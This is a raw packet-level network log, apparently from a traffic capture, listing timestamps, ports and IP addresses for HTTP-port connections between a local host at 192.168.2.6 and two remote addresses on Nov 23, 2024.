Nov 23, 2024 13:28:39.916675091 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.917519093 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.917578936 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.917642117 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.917702913 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.918452978 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.918503046 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.918644905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.918703079 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.919378996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.919436932 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.919475079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.919544935 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.919599056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.919703960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.919799089 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.920278072 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.920336962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.920357943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.920413971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.920855045 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.920919895 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.921188116 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.921195030 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.921241999 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.921300888 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.921366930 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.922125101 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.922190905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.922236919 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.922301054 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.922719002 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.922790051 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.922913074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.923074007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.923109055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.923134089 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.923155069 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.923999071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.924098969 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.924165964 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.924947023 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.925007105 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.925039053 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.925072908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.925091982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.925817013 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.925937891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.925997972 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.926824093 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.926861048 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.926892996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.926922083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.927695036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.927737951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.927778959 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.927828074 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.928632021 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.928718090 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.928771019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.929533005 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.929589987 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.929642916 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.929697037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.930469036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.930535078 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.930565119 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.930619955 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.931457043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.931540966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.931549072 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.931660891 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.932327986 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.932434082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.932495117 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.933228970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.933296919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.933374882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.933430910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.934252024 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.934314966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.934325933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.934381962 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.935092926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.935156107 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.935203075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.935257912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.936039925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.936156034 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.936222076 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.936944008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.937000036 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.937015057 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.937051058 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.937841892 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.937932968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.937948942 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.938004971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.938878059 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.938930035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.938960075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.939011097 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.939870119 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.939927101 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.939929008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.939980030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.940663099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.940716982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.940767050 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.940818071 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.941551924 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.941602945 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.941656113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.941706896 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.942511082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.942563057 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.942615032 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.942676067 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.943397045 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.943459988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.943490982 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.943546057 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.944349051 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.944452047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.944509983 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.945252895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.945312023 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.945365906 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.945419073 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.946219921 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.946276903 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.946347952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.946410894 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.947143078 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.947233915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.947237968 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.947285891 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.948018074 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.948072910 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.948118925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.948987961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.949039936 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.949090004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.949146032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.949976921 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.950036049 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.950066090 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.950119019 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.950839996 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.952442884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.962352991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.962392092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.962532997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.963414907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.963450909 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.963475943 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.987911940 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.987976074 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.987986088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.004406929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.004482031 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.004539013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.005767107 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.005827904 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.005909920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.008116961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.008163929 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.008867979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.008903980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.010024071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.011302948 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.011370897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.011485100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.089159966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.089193106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.089251041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.108409882 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.108529091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.108588934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.109685898 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.109981060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.110114098 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.112107038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.113090038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.113143921 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.113244057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.113363028 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.113399029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.113440037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.113440037 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.113609076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.113732100 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.113795042 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.114572048 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.114640951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.114808083 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.114857912 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.115369081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.115411997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.115438938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.115494013 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.115528107 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.115544081 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.115582943 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.116452932 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.116513968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.116586924 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.116692066 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.117325068 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.117455959 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.117472887 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.117507935 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.117779970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.117845058 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.117896080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.118227005 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.118263960 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.118532896 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.119191885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.119266033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.119349003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.119513988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.120090961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.120160103 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.120208979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.120323896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.120368004 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.120377064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.121047974 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.121107101 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.121157885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.121212006 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.121916056 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.121973038 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.122059107 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.122111082 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.122864962 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.122919083 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.122973919 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.123027086 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.123856068 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.123991966 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.123991966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.124042988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.124711990 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.124830008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.124831915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.124886990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.125622034 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.125742912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.125803947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.126554966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.126626015 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.126671076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.126790047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.127492905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.127557993 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.127610922 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.127846956 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.128407001 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.128541946 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.128597021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.129405022 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.129467964 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.129565954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.129620075 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.130482912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.130539894 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.130652905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.130712986 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.131239891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.131295919 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.131370068 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.131421089 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.131508112 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.131613016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.131731033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:40.132417917 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.132473946 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.132474899 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.132524967 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.132687092 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:40.133018970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.133090973 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.133150101 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.133212090 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.133949995 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.134006977 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.134066105 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.134118080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.134938002 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.134974003 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.135000944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.135030985 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.135818958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.135895014 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.135937929 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.136734962 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.136804104 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.136852026 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.136900902 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.137661934 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.137716055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.137718916 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.137768030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.138607979 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.138667107 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.138719082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.138772964 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.139533043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.139605045 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.139647961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.139703035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.140450001 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.140501022 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.140572071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.140691996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.141367912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.141495943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.141551018 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.142277002 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.142324924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.142493010 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.142616987 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.143229008 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.143343925 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.143414021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.144166946 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.144345999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.144401073 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.145100117 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.145153046 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.145220041 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.145267963 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.146131992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.146187067 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.146245003 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.146941900 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:40.146997929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:40.147042036 CET	80	49799	185.215.113.16	192.168.2.6
